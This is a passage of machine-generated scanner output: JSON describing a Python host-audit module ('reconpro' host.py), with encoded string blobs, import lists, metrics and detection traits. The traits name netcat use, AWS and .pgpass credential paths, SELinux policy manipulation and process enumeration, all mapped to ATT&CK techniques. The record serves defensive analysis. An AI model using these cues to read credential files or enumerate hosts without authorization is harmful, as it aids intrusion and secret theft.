"oMaARwPw]cB0a[3Bzk]fayYFnaz#9ur8upiyH}=lAb](swN/?2AV/pvaz#sswPzG{vqE6bwN/U4wPA5sAa9*eCw?IjazC)tv@Dl%x\u003eINewN)zonOf8!xK@q%wP?=$wGUYdaz+$qBsXLBvrt{2v{%m)z/^ahwGV28v@DK4A+e=la$K6zarR^HarR^HarR!rC4\u003eF#zEWlvb2i50r8upiz/M$rB.$Ygx\u003e7N/aAg+gB9zLywft\u0026iz//M2Bz(gxx(k5gvqYH^wI4w4wGU]lBz#wAa$K6zarR^HarR^HarR!nB8$]mj.O+PBz+J7wH[%yz!T9hB6\u0026D?wb", "ln": 62824, "col": 29, "line": 1422 }, { "b": "B095ywmM/IiV{1@AbviIlsBwtB-nEzwN/U4wPA5syH}=Laz\u003eL8vp%d6vQ%3)ePt-GBy!%7z/P[weN\u0026c#yJTOslPMtwk%#[F3lQDlarR^HasO-DarR^HwO=6)az#at", "ln": 63159, "col": 66, "line": 1425 }, { "b": "yANt6aAz46z*2YjC{3)lC{3*xayX+?yH}30B-nEBzY?tl3lQDlarR^Hay/t2wIL!Vz/{dSauZ\u0026OA=(mFcVB0FwPz\u003c9wO=f9eN@Zozddr)ar\u0026j7wPPH\u003cx()3!v@2T@r=q!%zdK?wo(Ce(BwM)\u0026zGE0*iW(WOwQd9)z//M2Bz(gxD(#H7wPzulpHX6Iv@@\u0026ubWSe%wQd9)z//M2Bz(h0D2NsqeOe]AtQ06Sv@DK4A^pF\u0026B8#LzA+5A0Eir[Wq!o=Rv@%p#vRPE:", "ln": 63833, "col": 15, "line": 1438 }, { "b": "arR^HarR^Hay]58v@=p5BzkVhjT9jbBwcQ.yH}JewO#0#D2N\u003etz/cXiB0a[3Bzk]faA}KwxDQ.ar8upiAb](swN/?2AXnF6zGx@vwGV28v@DK4A^n^ywQettvrb{4vQS+ZwN\u003e", "ln": 64263, "col": 4, "line": 1444 } ], "depth": 1, "facts": { "imp": [ [ "", "os.uname" ], [ "", "os.environ.get" ], [ "", "os.environ.get" ], [ "", "run_command" ], [ "", "hasattr" ], [ "", "os.uname" ], [ "", "os.path.exists" ], [ "", "stat.S_IMODE" ], [ "", "os.stat" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_run" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "out.splitlines" ], [ "", "re.search" ], [ "", "int" ], [ "", "match.group" ], [ "", "ports.append" ], [ "", "sorted" ], [ "", "set" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "set" ], [ "", "len" ], [ "", "set" ], [ "", "str" ], [ "", "sorted" ], [ "", "set" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "out.upper" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_is_macos" ], [ "", "_run" ], [ "", "out.strip" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "out.strip" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "out.strip" ], [ "", "_run" ], [ "", "out.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_run" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "l.strip" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "l.lower" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "_run" ], [ "", "out.split" ], [ "", "u.strip" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "_run" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_run" ], [ "", "out.strip" ], [ "", "out.strip.splitlines" ], [ "", "out.strip" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "_hostname" ], [ "", "_file_exists" ], [ "", "open" ], [ "", "f.read" ], [ "", "re.search" ], [ "", "re.search" ], [ "", "int" ], [ "", "match.group" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "match.group" ], [ "", "match.group" ], [ "", "match.group" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_hostname" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "line.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "line.split" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "line.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "line.split" ], [ "", "_hostname" ], [ "", "re.search" ], [ "", "os.environ.get" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "os.path.join" ], [ "", "os.environ.get" ], [ "", "os.path.expanduser" ], [ "", "_file_exists" ], [ "", "_file_perms" ], [ "", "_is_windows" ], [ "", "oct" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "oct" ], [ "", "oct" ], [ "", "_is_windows" ], [ "", "oct" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "oct" ], [ "", "oct" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "l.strip" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "l.strip.startswith" ], [ "", "l.strip" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "os.path.isdir" ], [ "", "os.listdir" ], [ "", "os.path.join" ], [ "", "os.path.isfile" ], [ "", "_file_perms" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "oct" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "l.strip" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "l.strip" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "_run" ], [ "", "out.strip" ], [ "", "int" ], [ "", "out.strip" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_run" ], [ "", "l.strip" ], [ "", "out.splitlines" ], [ "", "len" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "len" ], [ "", "len" ], [ "", "len" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "out.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "out.strip" ], [ "", "out.strip" ], [ "", "_is_macos" ], [ "", "_run" ], [ "", "out.strip" ], [ "", "out.strip" ], [ "", "_run" ], [ "", "out.lower" ], [ "", "out.strip" ], [ "", "out.strip" ], [ "", "_run" ], [ "", "out.strip" ], [ "", "_hostname" ], [ "", "platform.system" ], [ "", "platform.machine" ], [ "", "platform.release" ], [ "", "_is_windows" ], [ "", "_is_macos" ], [ "", "_hostname" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "len" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "p.strip" ], [ "", "out.split" ], [ "", "p.strip" ], [ "", "os.path.isdir" ], [ "", "os.listdir" ], [ "", "entry.lower" ], [ "", "found_elevatable.append" ], [ "", "os.path.join" ], [ "", "len" ], [ "", "_is_macos" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "os.stat" ], [ "", "world_writable.append" ], [ "", "len" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "l.strip" ], [ "", "os.stat" ], [ "", "world_writable.append" ], [ "", "len" ], [ "", "len" ], [ "", "len" ], [ "", "len" ], [ "", "len" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_is_macos" ], [ "", "_run" ], [ "", "out.strip.lower" ], [ "", "out.strip" ], [ "", "out.strip" ], [ "", "out.strip" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "line.lower" ], [ "", "int" ], [ "", "re.search.group" ], [ "", "re.search" ], [ "", "line.lower" ], [ "", "int" ], [ "", "re.search.group" ], [ "", "re.search" ], [ "", "re.match" ], [ "", "match.group.split" ], [ "", "match.group" ], [ "", "parts.append" ], [ "", "int" ], [ "", "tuple" ], [ "", "_parse_kernel_version" ], [ "", "_parse_kernel_version" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "platform.release" ], [ "", "_parse_kernel_version" ], [ "", "_version_in_range" ], [ "", "_is_macos" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "os.path.expanduser" ], [ "", "os.path.isdir" ], [ "", "os.path.join" ], [ "", "os.path.expanduser" ], [ "", "os.path.isfile" ], [ "", "open" ], [ "", "f.readlines" ], [ "", "enumerate" ], [ "", "line.strip" ], [ "", "line.startswith" ], [ "", "line.split" ], [ "", "len" ], [ "", "unusual_keys.append" ], [ "", "unusual_keys.append" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "os.environ.get" ], [ "", "os.environ.get" ], [ "", "os.path.isdir" ], [ "", "_run" ], [ "", "_is_macos" ], [ "", "os.path.isdir" ], [ "", "_file_perms" ], [ "", "oct" ], [ "", "oct" ], [ "", "oct" ], [ "", "oct" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "re.compile" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "_run" ], [ "", "out.splitlines" ], [ "", "pattern.search" ], [ "", "line.strip" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "_run" ], [ "", "re.search" ], [ "", "int" ], [ "", "match.group" ], [ "", "_hostname" ], [ "", "_is_windows" ], [ "", "out.splitlines" ], [ "", "line.strip" ], [ "", "recovery_info.setdefault.append" ], [ "", "recovery_info.setdefault" ], [ "", "recovery_info.get" ], [ "", "recovery_info.get" ], [ "", "findings.extend" ], [ "", "_check_os_info" ], [ "", "findings.extend" ], [ "", "_check_open_ports" ], [ "", "findings.extend" ], [ "", "_check_firewall" ], [ "", "findings.extend" ], [ "", "_check_users" ], [ "", "findings.extend" ], [ "", "_check_ssh" ], [ "", "findings.extend" ], [ "", "_check_docker" ], [ "", "findings.extend" ], [ "", "_check_env_secrets" ], [ "", "findings.extend" ], [ "", "_check_file_permissions" ], [ "", "findings.extend" ], [ "", "_check_cron_jobs" ], [ "", "findings.extend" ], [ "", "_check_auto_start" ], [ "", "findings.extend" ], [ "", "_check_network" ], [ "", "findings.extend" ], [ "", "_check_usb_devices" ], [ "", "findings.extend" ], [ "", "_check_suid_sgid" ], [ "", "findings.extend" ], [ "", "_check_selinux_apparmor" ], [ "", "findings.extend" ], [ "", "_check_kernel_cves" ], [ "", "findings.extend" ], [ "", "_check_ssh_authorized_keys" ], [ "", "findings.extend" ], [ "", "_check_world_writable_dirs" ], [ "", "findings.extend" ], [ "", "_check_suspicious_processes" ], [ "", "findings.extend" ], [ "", "_check_uac_status" ], [ "", "findings.extend" ], [ "", "_check_bitlocker_recovery" ], [ "", "..http_layer" ], [ "", "..http_layer.Finding" ], [ "", "..safe_command" ], [ "", "..safe_command.run_command" ], [ "", "Any" ], [ "", "Dict" ], [ "", "List" ], [ "", "Optional" ], [ "", "Path" ], [ "", "Tuple" ], [ "", "os" ], [ "", "pathlib" ], [ "", "platform" ], [ "", "re" ], [ "", "stat" ], [ "", "typing" ] ], "mbr": [ "cve.desc", "cve.id", "cve.max_ver", "cve.min_ver", "cve.name", "cve.severity", "entry.lower", "f.read", "f.readlines", "findings.append", "findings.extend", "found_elevatable.append", "l.lower", "l.strip", "l.strip.startswith", "line.lower", "line.split", "line.startswith", "line.strip", "match.group", "match.group.split", "os.environ", "os.environ.get", "os.listdir", "os.name", "os.path", "os.path.exists", "os.path.expanduser", "os.path.isdir", "os.path.isfile", "os.path.join", "os.pathsep", "os.stat", "os.stat.st_mode", "os.uname", "os.uname.nodename", "os.uname.sysname", "out.lower", "out.split", "out.splitlines", "out.strip", "out.strip.lower", "out.strip.splitlines", "out.upper", "p.strip", "parts.append", "pattern.search", "platform.machine", "platform.release", "platform.system", "ports.append", "re.IGNORECASE", "re.MULTILINE", "re.compile", "re.match", "re.search", "re.search.group", "recovery_info.get", "recovery_info.has_numerical", "recovery_info.has_tpm", "recovery_info.setdefault", "recovery_info.setdefault.append", "stat.S_IMODE", "stat.S_IROTH", "stat.S_ISVTX", "stat.S_IWOTH", "u.strip", "unusual_keys.append", "world_writable.append" ], "tgt": [ "Finding", "_check_auto_start", "_check_bitlocker_recovery", "_check_cron_jobs", "_check_docker", "_check_env_secrets", "_check_file_permissions", "_check_firewall", "_check_kernel_cves", "_check_network", "_check_open_ports", "_check_os_info", "_check_selinux_apparmor", "_check_ssh", "_check_ssh_authorized_keys", "_check_suid_sgid", "_check_suspicious_processes", "_check_uac_status", "_check_usb_devices", "_check_users", "_check_world_writable_dirs", "_file_exists", "_file_perms", "_hostname", "_is_macos", "_is_windows", "_parse_kernel_version", "_run", "_version_in_range", "entry.lower", "enumerate", "f.read", "f.readlines", "findings.append", "findings.extend", "found_elevatable.append", "hasattr", "int", "l.lower", "l.strip", "l.strip.startswith", "len", "line.lower", "line.split", "line.startswith", "line.strip", "match.group", "match.group.split", "oct", "open", "os.environ.get", "os.listdir", "os.path.exists", "os.path.expanduser", "os.path.isdir", "os.path.isfile", "os.path.join", "os.stat", "os.uname", "out.lower", "out.split", "out.splitlines", "out.strip", "out.strip.lower", "out.strip.splitlines", "out.upper", "p.strip", "parts.append", "pattern.search", "platform.machine", "platform.release", "platform.system", "ports.append", "re.compile", "re.match", "re.search", "re.search.group", "recovery_info.get", "recovery_info.setdefault", "recovery_info.setdefault.append", "run_command", "set", "sorted", "stat.S_IMODE", "str", "tuple", "u.strip", "unusual_keys.append", "world_writable.append" ], "funcs": [ [ "_hostname", 922 ], [ "_run", 1174 ], [ "_is_windows", 1613 ], [ "_is_macos", 1708 ], [ "_file_exists", 1862 ], [ "_file_perms", 1927 ], [ "_check_open_ports", 2070 ], [ "_check_firewall", 5566 ], [ "_check_users", 10632 ], [ "_check_ssh", 13912 ], [ "_check_docker", 16431 ], [ "_check_env_secrets", 18893 ], [ "_check_file_permissions", 20723 ], [ "_check_cron_jobs", 24450 ], [ "_check_auto_start", 27079 ], [ "_check_network", 29855 ], [ "_check_os_info", 32458 ], [ "_check_usb_devices", 33510 ], [ "_check_suid_sgid", 34513 ], [ "_check_selinux_apparmor", 39311 ], [ "_parse_kernel_version", 45991 ], [ "_version_in_range", 46464 ], [ "_check_kernel_cves", 46780 ], [ "_check_ssh_authorized_keys", 48786 ], [ "_check_world_writable_dirs", 51745 ], [ "_check_suspicious_processes", 56666 ], [ "_check_uac_status", 58177 ], [ "_check_bitlocker_recovery", 61312 ], [ "run_host", 64842 ] ], "metrics": { "ast": { "op.add": 2, "op.bor": 1, "op.lor": 14, "op.band": 7, "op.land": 38, "max_depth": 21, "call_count": 482, "node_count": 14856, "member_count": 69, "max_array_len": 18, "op_density.add": 0, "op_density.bor": 0, "op_density.lor": 0, "op_density.band": 0, "op_density.land": 0, "max_concat_chain": 2, "member_depth_max": 3 }, "file": { "size": 66002, "entropy": 4.62 }, "text": { "lines": 1488, "top_char": 101, "max_ws_run": 3, "digit_ratio": 0.02, "space_count": 18087, "char_entropy": 4.62, "unique_chars": 98, "top_char_null": 0, "lines_over_200": 1, "string_density": 0.6, "top_char_ratio": 0.06, "ascii_art_lines": 18, "avg_line_length": 43.36, "max_line_length": 218, "non_ascii_ratio": 0, "empty_line_ratio": 0.11, "last_line_length": 19, "whitespace_ratio": 0.3, "identifier_density": 1.51, "line_length_stddev": 31.89, "non_printable_ratio": 0, "normalized_string_count": 23.15, "repeated_char_sequences": 695, "suspicious_string_ratio": 0.04, "suspicious_comment_ratio": 0.02, "suspicious_identifier_ratio": 0.04, "normalized_unique_identifiers": 18.69 }, "binds": { "count": 126 }, "binary": { "peak_region_bytes": 18432, "peak_region_entropy": 5.03 }, "source": { "function_count": 29 }, "imports": { "count": 16, "relative": 4, "stdlib_count": 6, "stdlib_ratio": 0.38, "relative_ratio": 0.25, "third_party_count": 10, "third_party_ratio": 0.63 }, "strings": { "sql": 1, "bytes": 22819, "count": 893, "shell": 37, "avg_length": 25.55, "max_length": 698, "path_count": 42, "avg_entropy": 3.07, "empty_count": 19, "entropy_stddev": 1.05, "high_entropy_count": 1, "embedded_code_candidates": 1 }, "comments": { "chars": 3790, "count": 84, "lines": 84, "base64": 1, "high_entropy": 1, "to_code_ratio": 0.06 }, "functions": { "count": 29, "density": 1.95, "avg_params": 0.41, "code_ratio": 0.88, "max_params": 4, "length_stddev": 31.48, "over_100_lines": 1, "avg_name_length": 16.1, "no_params_count": 23, "avg_length_lines": 45.14, "max_length_lines": 115, "min_length_lines": 2, "high_entropy_names": 4, "single_char_params": 2, "avg_param_name_length": 4.92 }, "identifiers": { "count": 2252, "unique": 197, "avg_length": 8.45, "max_length": 28, "min_length": 1, "avg_entropy": 2.48, "reuse_ratio": 0.09, "length_stddev": 5.33, "has_digit_ratio": 0.01, "sequential_names": 8, "single_char_count": 8, "single_char_ratio": 0.04, "high_entropy_count": 5, "high_entropy_ratio": 0.03, "all_lowercase_ratio": 0.89, "all_uppercase_ratio": 0.04, "numeric_suffix_count": 2, "underscore_prefix_count": 30 } } }, "id": 129, "mol": "K₂(AmTe)O₁₂(Al₂Er₃Pr₂C₂Ca₃CoDyILaPS₂Xe)H₅(Cm₃Db₉F₁₄Os₁₈Po₇)Md", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/host.py", "pid": 0, "risk": 187, "sha": "b7ceac2b2b92b40e7aad0a6de49de7c9077a1c0a95b5ab521bab253689a12497", "size": 66002, "traits": [ { "id": "micro-behaviors/os/package-manager/install::apt-install-cmd", "conf": 0.75, "crit": 3, "desc": "Installs a package with apt", "spans": [ [ 9731, 21 ], [ 41992, 35 ], [ 43688, 26 ] ] }, { "id": "micro-behaviors/os/security/selinux::selinux-config-path", "conf": 0.85, "crit": 3, "desc": "References SELinux policy configuration path", "spans": [ [ 40783, 12 ] ] }, { "id": "objectives/evasion/anti-av/platform/selinux::policy-manipulation", "atk": "T1562.001", "conf": 0.8, "crit": 4, "desc": "SELinux policy load or manipulation", "uses": [ 1 ], "spans": [ [ 40783, 12 ] ] }, { "id": "micro-behaviors/os/network/interface::ip-link", "conf": 0.9, "crit": 3, "desc": "Uses ip link for network interfaces", "spans": [ [ 32390, 11 ] ] }, { "id": "micro-behaviors/os/service/control::systemctl-word", "conf": 0.7, "crit": 3, "desc": "References systemctl service manager", "spans": [ [ 29088, 10 ] ] }, { "id": "micro-behaviors/process/enumerate/shell::ps-aux", "atk": "T1057", "conf": 0.6, "crit": 3, "desc": "ps aux command", "spans": [ [ 56978, 6 ] ] }, { "id": "micro-behaviors/process/enumerate/shell::ps-ef", "atk": "T1057", "conf": 0.6, "crit": 3, "desc": "ps -ef command", "spans": [ [ 56978, 41 ] ] }, { "id": "micro-behaviors/process/enumerate/shell::ps-list-command", "atk": "T1057", "conf": 0.92, "crit": 3, "desc": "ps process listing command", "spans": [ [ 56978, 41 ] ] }, { "id": "metadata/file/catalog/service::deployment-helper-context", "conf": 0.9, "crit": 3, "desc": "Service deployment helper context", "spans": [ [ 29049, 16 ] ] }, { "id": "metadata/file/catalog/service::service-name-github", "conf": 0.6, "crit": 3, "desc": "GitHub service name", "spans": [ [ 19306, 6 ] ] }, { "id": "metadata/file/catalog/service::service-name-sendgrid", "conf": 0.82, "crit": 3, "desc": "SendGrid service name", "spans": [ [ 19692, 8 ] ] }, { "id": "metadata/file/catalog/service::service-name-stripe", "conf": 0.82, "crit": 3, "desc": "Stripe service name", "spans": [ [ 19373, 6 ] ] }, { "id": "metadata/file/catalog/service::service-name-twilio", "conf": 0.82, "crit": 3, "desc": "Twilio service name", "spans": [ [ 19761, 6 ] ] }, { "id": "metadata/file/catalog/service::service-name-vault", "conf": 0.82, "crit": 3, "desc": "Vault service name", "spans": [ [ 20632, 5 ] ] }, { "id": "metadata/file/literal::cve-pattern-many", "conf": 0.85, "crit": 3, "desc": "File contains six or more CVE references", "spans": [ [ 44081, 13 ], [ 44281, 16 ], [ 44477, 16 ], [ 44674, 14 ], [ 44871, 14 ], [ 45062, 14 ], [ 45241, 13 ], [ 45417, 13 ] ] }, { "id": "metadata/file/string/file::tmp", "conf": 0.2, "crit": 1, "desc": "tmp keyword", "spans": [ [ 51810, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 61, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 1397, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 37069, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-4", "conf": 0.8, "crit": 1, "desc": "English function-word token \"have\"", "spans": [ [ 9506, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 80, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 1386, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 1491, 0 ] ] }, { "id": "micro-behaviors/communications/socket/netcat::netcat-keyword", "conf": 0.7, "crit": 3, "desc": "netcat command keyword", "spans": [ [ 55187, 6 ] ] }, { "id": "micro-behaviors/communications/ssh/client::password-auth-method", "atk": "T1021.004", "conf": 0.7, "crit": 3, "desc": "SSH password authentication method string", "spans": [ [ 14417, 22 ] ] }, { "id": "micro-behaviors/communications/ssh/connect::openssh", "conf": 0.5, "crit": 2, "desc": "OpenSSH string", "spans": [ [ 49043, 0 ] ] }, { "id": "micro-behaviors/communications/ssh/connect::ssh-string", "atk": "T1021.004", "conf": 0.4, "crit": 1, "desc": "References the SSH protocol", "spans": [ [ 14076, 0 ] ] }, { "id": "micro-behaviors/communications/ssh/keys::authorized-keys-path-construction", "conf": 0.9, "crit": 3, "desc": "Builds an authorized_keys path", "spans": [ [ 49206, 30 ], [ 49291, 34 ] ] }, { "id": "micro-behaviors/data/control-flow/analysis::python-early-return-call-gate", "conf": 0.86, "crit": 3, "desc": "Python conditional early return after call", "spans": [ [ 46971, 32 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::broad-exception-return-suppression", "atk": "T1027", "mbc": "C0027", "conf": 0.86, "crit": 3, "desc": "Broad exception returns failure sentinel", "spans": [ [ 2030, 37 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::python-permission-error-handler", "atk": "T1027", "mbc": "C0027", "conf": 0.9, "crit": 3, "desc": "Python PermissionError except handler", "spans": [ [ 35539, 22 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::silent-exception-pass", "atk": "T1027", "mbc": "C0027", "conf": 0.85, "crit": 3, "desc": "exception suppression via try/except pass", "spans": [ [ 33452, 34 ], [ 53044, 50 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 50251, 34 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-password", "conf": 0.85, "crit": 1, "desc": "Connection password key", "spans": [ [ 13637, 0 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-secret", "conf": 0.85, "crit": 1, "desc": "Connection secret key", "spans": [ [ 63191, 0 ] ] }, { "id": "micro-behaviors/data/db/mongodb::client-port-reference", "conf": 0.82, "crit": 3, "desc": "References the MongoDB client service port", "spans": [ [ 3986, 5 ] ] }, { "id": "micro-behaviors/data/decode/custom::python-whitespace-only-line-selection", "atk": "T1140", "conf": 0.92, "crit": 3, "desc": "Python selects lines containing only whitespace", "spans": [ [ 25577, 13 ] ] }, { "id": "micro-behaviors/data/decode/hex::hex-decode-int-16", "conf": 0.7, "crit": 3, "desc": "Hex decoding via int(x, 16)", "spans": [ [ 58906, 3 ] ] }, { "id": "micro-behaviors/data/llm/codegen::llm-generation-source-write", "conf": 0.88, "crit": 3, "desc": "Writes source code or script", "spans": [ [ 26599, 20 ] ] }, { "id": "micro-behaviors/data/source/syntax/keyword::function-command-parameter", "conf": 0.8, "crit": 3, "desc": "Python function accepts a command parameter", "spans": [ [ 1172, 39 ] ] }, { "id": "micro-behaviors/data/string/search::compiled-python-pattern-set", "conf": 0.9, "crit": 3, "desc": "Compiles a set of Python regex patterns", "spans": [ [ 55137, 11 ] ] }, { "id": "micro-behaviors/fs/config/preferences::defaults-read-command", "conf": 0.95, "crit": 3, "desc": "macOS defaults preference read command", "spans": [ [ 6919, 13 ] ] }, { "id": "micro-behaviors/fs/enumerate/directory::python-directory-listing", "atk": "T1083", "conf": 0.86, "crit": 3, "desc": "Python lists directory entries", "spans": [ [ 26321, 10 ] ] }, { "id": "micro-behaviors/fs/enumerate/permissions::suid-sgid-file-discovery-command", "conf": 0.97, "crit": 3, "desc": "Find enumerates SUID or SGID files", "spans": [ [ 36344, 46 ], [ 37461, 36 ], [ 39038, 33 ] ] }, { "id": "micro-behaviors/fs/path/application/executable::resmon-process", "conf": 0.75, "crit": 3, "desc": "Resource Monitor process name", "spans": [ [ 34957, 10 ] ] }, { "id": "micro-behaviors/fs/path/application/executable::taskmgr-process", "conf": 0.8, "crit": 3, "desc": "Task Manager process name", "spans": [ [ 34983, 11 ] ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isdir-symbol", "conf": 0.86, "crit": 3, "desc": "Python os.path.isdir path test", "spans": [ [ 26258, 13 ] ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isdir-text", "conf": 0.7, "crit": 3, "desc": "Python os.path.isdir path test text", "spans": [ [ 26260, 12 ] ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isfile-symbol", "conf": 0.86, "crit": 3, "desc": "Python os.path.isfile path test", "spans": [ [ 26399, 14 ] ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isfile-text", "conf": 0.7, "crit": 3, "desc": "Python os.path.isfile path test text", "spans": [ [ 26401, 13 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "spans": [ [ 13322, 11 ], [ 21815, 11 ] ] }, { "id": "micro-behaviors/fs/path/config/privesc::etc-sudoers", "atk": "T1548", "conf": 0.85, "crit": 3, "desc": "References /etc/sudoers configuration", "spans": [ [ 13184, 12 ] ] }, { "id": "micro-behaviors/fs/path/filename-credential::pgpass", "conf": 0.9, "crit": 3, "desc": ".pgpass credentials file", "spans": [ [ 21437, 9 ] ] }, { "id": "micro-behaviors/fs/path/location::home-hidden-dotpath", "conf": 0.85, "crit": 3, "desc": "Hidden dot-entry under the home directory", "spans": [ [ 49090, 15 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-directory-literal", "conf": 0.8, "crit": 3, "desc": "References the user SSH directory", "spans": [ [ 20941, 6 ], [ 49103, 6 ] ] }, { "id": "micro-behaviors/fs/path/temp::windows-public-temp-directory-path", "conf": 0.82, "crit": 3, "desc": "Windows public or temp directory path", "spans": [ [ 51980, 6 ] ] }, { "id": "micro-behaviors/fs/path/token::aws-credentials-text-reference", "atk": "T1552.005", "conf": 0.92, "crit": 3, "desc": "References an AWS credentials file path", "spans": [ [ 21293, 16 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords--docker", "conf": 0.86, "crit": 3, "desc": "References the Docker container engine", "spans": [ [ 16948, 6 ] ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-option", "conf": 0.6, "crit": 3, "desc": "crontab command option", "spans": [ [ 25464, 10 ] ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-string", "conf": 0.95, "crit": 3, "desc": "Crontab list or input command", "spans": [ [ 25464, 10 ] ] }, { "id": "micro-behaviors/os/env/secret-name::python-env-get-call", "conf": 0.8, "crit": 3, "desc": "Python reads an environment variable", "spans": [ [ 1100, 14 ] ] }, { "id": "micro-behaviors/os/firewall/ufw::enable", "conf": 0.9, "crit": 3, "desc": "Enables the ufw host firewall", "spans": [ [ 8620, 10 ] ] }, { "id": "micro-behaviors/os/group/membership::privileged-local-group-name", "atk": "T1098", "conf": 0.9, "crit": 3, "desc": "References a privileged local group", "spans": [ [ 10890, 14 ] ] }, { "id": "micro-behaviors/os/network/status::netstat-an", "conf": 0.9, "crit": 3, "desc": "netstat -an command", "spans": [ [ 2313, 12 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 2766, 13 ], [ 10815, 13 ], [ 11543, 5 ] ] }, { "id": "micro-behaviors/os/registry/keys::uac-policy-registry-path-python", "conf": 0.95, "crit": 3, 